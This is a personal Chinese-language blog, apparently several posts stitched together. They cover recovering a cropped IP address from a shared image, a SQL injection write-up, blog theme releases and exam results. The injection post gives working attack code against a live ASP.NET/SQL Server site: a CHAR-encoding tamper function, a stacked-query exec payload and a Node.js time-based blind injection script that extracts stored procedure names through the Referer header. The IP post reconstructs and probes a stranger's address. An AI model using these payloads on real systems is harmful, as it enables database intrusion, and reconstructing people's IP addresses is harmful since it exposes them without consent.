今天在DiyGay的群里有人发了一张图

就是这张，你可以看到这个图片顶部有几行像素点，是IP地址的一部分。

我尝试向图主要IP测试一下，但是没有得到回复，我仔细端详了一下这3行像素点，在自己的CMD上输入

然后逐个进行对比，第一次对比可以确定的数字是X5.76.5X.X65

进一步，15.76段是废段，45.76是VULTR段，所以第一个X应该是4

然后最后一个不可能是4（0~255首位不可能为4），只能是1，所以就是45.76.5X.165

然后我把45.76.51.165和45.76.54.165都ping了一下发现都可以通，再打开浏览器发现只有45.76.51.165开启HTTP服务

所以我比较倾向于IP是45.76.51.165，当然54.165也是可能的。

-----分割线-----

前面说这么多只是铺垫，在花了我十分钟人生来对比之后，我萌生了一个有趣的想法：可不可以根据被砍掉半边 甚至只有几行像素的字符还原出实际的字符呢。

好吧这件事情我刚才就已经做成功了，但是怎么才能让它变快？

我相信你应该也和我想的一样，那就是机器学习。

很遗憾的是我并不会机器学习，甚至我连最简单的PY库都不会用（PY我都不会好吗）

不知道这个idea是否已经被其他人想到了，如果有的话请务必告知我，因为我打算去试试了 2333333。

（全文完）

如你所见，这个博客现在使用的就是这个主题，我将它命名为 “One-Third”

移动端适配还没完成（其实是还没开始做），基本上兼容IE11+（除了模糊效果和滚动条隐藏）

这次主题先不发布，因为担心又像上一次sagiri主题一样尴尬23333

大概就是这样，主题我就说完了...随手记点杂事

7号分班 10号入驻学校 11~19军训 然后休息十天就回去上学

开学后大概博客又要沉寂一段时间不更...不过评论还是会看，有啥事尽管留言或者QQ，邮箱均可（TG半个月上一次 emmmm）。

这次依旧是三位小伙伴一起行动 但是轮到我来写思路了 ╮(╯▽╰)╭那就我来呗

第一次写这类，技术也不行文笔也差，各位将就看看 ╮(╯▽╰)╭

背景设定

服务端ASP.NET 数据库SQL Server 2016 可以stack query

0x01 表名过滤Bypass

这个站点的表名全部以 xd_ 开头 ，然而有一个魔法 sql里面带有xd_就不执行了，需要绕过

于是 利用存储过程拼接SQL，利用CHAR编码SQL语句 直接exec即可

Py代码（写成tamper了）

    def chrword(word):
        ret = ''
        for i in word:
            ret += 'char('+str(ord(i))+')+'
        return '\'+'+ret[:-1]+'+\''

SQL语句

    declare @a varchar(100) set @a='【编码后的SQL语句】' exec(@a) --

大概如此就绕过了，主要是因为SQL Server不能直接把char()拼接的结果作为表名，所以要用到存储过程拼接为SQL语句

0x02 探测存储过程

Bypass了表名过滤后我们再次撞坑——无法UPDATE任何数据

小伙伴果断的判断是没有权限，然后count了一下sys.procedures后发现果然全部都在存储过程里了

这时候也不知道为什么SQLMAP的Sql-shell是出不了数据的 于是自制一个time based探测了

我写了一个简陋的NJS脚本（我不会py），探测存储过程：

    var sug = require('superagent');
    var hs=process.argv.splice(2);
    console.log('开始获取' + hs);

    //探测位数 最大50位
    var i=51;
    function findlen(i){
    var upt1 = process.uptime();
    sug
        .get('http://***')
        .set('Referer',"';if(len((select top 1 name from sys.procedures where name not in (select top " + hs + " name from sys.procedures))) >= " + i + ") waitfor delay '0:0:1';--")
        .end(function(err,sres){
            if(process.uptime()-upt1>1){
                console.log('获得数据长度：' + i);
                findstr(1,122,'',i);
            }else{
                i--;
                findlen(i);
            };
        });
    }
    findlen(i);



    function findstr(pos,zf,str,max){
    var upt1 = process.uptime();
    sug
        .get('http://***')
        .set('Referer',"';if(substring((select top 1 name from sys.procedures where name not in (select top " + hs + " name from sys.procedures))," + pos + ",1) >= '"+ String.fromCharCode(zf) +"') waitfor delay '0:0:1';--")
        .end(function(err,sres){
            if(process.uptime()-upt1>1){
                console.log('获得字符为：' + str + String.fromCharCode(zf));
                findstr(pos+1,122,str + String.fromCharCode(zf),max);
                console.log(pos + ',' + max);
                if(pos >= max){
                    console.log('获取完毕，结果是' + str + String.fromCharCode(zf));
                    process.exit();
                }
            }else{
                zf--;
                findstr(pos,zf,str,max);
            };
        });
    }

0x03

已太监 23333333333

不说别的先上图

阅读提示：广州中考满分810分，高分保护线698，听说成绩38/40。大概不是很高的分数，但是我很满意可以去广附了（话说广雅今年也才711...）

虽然关站那会说什么不会简报，最终我还是没有忍住来报成绩了，蛤蛤蛤蛤蛤。数学这次石乐志丢了半道大题没写出来，于是没了4分

然而语文分数比平时+6 化学+18 物理+15，超常发挥了，这波很爽

然后赚了点钱准备买MBP，这真是个幸运的暑假（笑）

终于终于，经过15天的努力（其中有7天去了旅游），Sagiri主题终于可以发布第一个（Pre）Release版本了

这个版本的CSS已经达到600+行了，可以算是我写过的最长的样式了，没有利用任何CSS模板，纯手写。

我也深知，600行远远比不上各位大佬（DIYGOD的主题将近3000行 吓到我了...），我的技术还有待提高

不过Release发布了总是一件令人偷税的事情，这意味着我现在可以心安理得地去追梦了 23333

总之各位，如果你喜欢我的主题，可以到 https://github.com/Archeb/Sagiri/releases 下载使用，Enjoy your theme~

（主题预览就是本博客）